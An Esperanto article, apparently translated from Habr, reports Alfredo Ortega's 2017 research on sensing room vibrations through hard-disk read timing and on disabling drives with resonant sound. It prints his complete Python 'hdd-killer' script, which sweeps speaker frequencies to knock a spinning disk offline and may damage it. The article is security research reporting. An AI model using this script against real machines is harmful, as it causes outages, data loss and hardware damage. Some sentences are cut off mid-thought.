En la konferenco pri komputila sekureco Ekoparty 2017 en Bonaero, argentina hakisto Alfredo Ortega montris tre interesan evoluon - sistemon por kaŝaŭskulti lokalojn sen uzi mikrofonon. Sono
La HDD ĉefe kaptas alt-intensajn malaltfrekvencajn sonojn, paŝojn kaj aliajn vibrojn. Homa parolo ankoraŭ ne povas esti rekonita, kvankam sciencistoj
Sono estas la vibrado de aero aŭ alia medio. Homo perceptas ilin tra la timpano, kiu transdonas vibrojn al la interna orelo. La mikrofono estas desegnita proksimume kiel orelo - ankaŭ ĉi tie vibroj estas registritaj per maldika membrano, kiu ekscitas elektran impulson. La malmola disko, kompreneble, ankaŭ estas submetata al mikroskopaj vibroj pro fluktuoj en la ĉirkaŭa aero. Ĉi tio estas konata eĉ de la teknikaj karakterizaĵoj de HDD-oj: fabrikantoj kutime indikas la maksimuman permeseblan vibrnivelon, kaj la malmola disko mem ofte provas meti ĝin en vibrorezistan ujon el kaŭĉuko aŭ alia izola materialo. El tio estas facile konkludi, ke sonoj povas esti registritaj per HDD. Restas nur eltrovi kiel.
Alfredo Ortega proponis unikan version de flankkanala atako, nome tempoatako. Ĉi tiu atako baziĝas sur la supozo, ke malsamaj operacioj estas faritaj sur la aparato en malsamaj tempoj, depende de la eniga datumoj donitaj. En ĉi tiu kazo, la "eniga datumoj" estas la vibroj de la legokapo kaj la HDD-plado, kiuj korelacias kun la vibroj de la medio, tio estas, kun sono. Tiel, mezurante la komputadtempon kaj elfarante statistikan analizon de la datenoj, la vibradoj de la kapo/plado kaj tial la vibradoj de la medio povas esti mezuritaj. Ju pli longa estas la prokrasto en legado de datumoj, des pli fortaj la HDD-vibroj kaj, do, des pli laŭta la sono.
Kiel mezuri la vibradon de malmola disko? Tre simple: simple rulu la sistemvokon read ()
— kaj registri la tempon necesan por kompletigi. Modernaj operaciumoj permesas legi la tempigon de sistemvokoj kun nanosekunda precizeco.
La rapideco de legado de informoj de sektoro dependas de la pozicio de la kapo kaj plado, kiu korelacias kun vibroj de la HDD-kazo. Tio estas ĉio.
Statistika analizo estas farita per simpla Kscope-ilaĵo. Kiel oni diras, ĉio sprita estas simpla.
Kscope-ilaĵo (stat() syscall)
Kscope estas malgranda ilo por bildigi etajn diferencojn en la tempoj de ekzekuto de sistema voko. Fonto
En aparta deponejo read ()
.
Pruvo de sonregistrado per HDD, funkciado de la utileco Kscope
Kompreneble, parolado ne povas esti komprenita tiamaniere, sed la HDD estas sufiĉe taŭga kiel vibra sensilo. Ekzemple, vi povas registri, se persono portanta malmolajn ŝuojn aŭ nudpiede eniris ĉambron kun komputilo (verŝajne, se la atakanto portas molajn sneakers aŭ estas dika tapiŝo sur la planko, la HDD ne povos registri vibrojn - ĉi tio indas kontroli). La komputilo kapablas registri rompitajn vitrojn aŭ aliajn okazaĵojn kun forta sonintenso. Tio estas, la malmola disko povas funkcii kiel speco de neaŭtorizita entrudiĝa detekta sistemo.
HDD-murdinto
Cetere, simila tekniko povas esti uzata por malŝalti malmolajn diskojn. Nur ĉi tie ni ne forigas osciladojn de la HDD, sed male, ni generas osciladojn kiuj estas nutritaj al la HDD. Se vi ludas sonon de laŭtparolilo je frekvenco kiu resonas kun la HDD-frekvenco, la sistemo baldaŭ malŝaltas la aparaton kun I/O-eraro (la Linukso-kerno tute malŝaltas la HDD post 120 sekundoj). La malmola disko mem povas suferi neinversigeblan damaĝon.
La Linukso-kerno malŝaltis la malmolan diskon post 120 sekundoj de liverado de sono kun resonanca frekvenco per la laŭtparolilo de la Edifier r19u USB-parolilo. La laŭtparolilo estas ŝaltita je ĉirkaŭ kvarono de potenco (malpli ol 100 mW) kaj situas 20 cm de la HDD, celita al la tablo por pliigi vibrojn. Kadro el
Estas kurioze, ke tiaj "atakoj" al HDD-oj foje okazas tute hazarde en la ĉiutaga vivo. Ekzemple, en septembro 2016, la datumcentro de ING Bank estis devigita suspendi operaciojn dum 10 horoj post fajro-ekzerco.
Demonstro de homa kriado ĉe malmolaj diskoj en datumcentro. Mezurado de latencia
Por generi la resonan sonon, Alfredo Ortega skribis Python-skripton nomitan
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
fonto: www.habr.com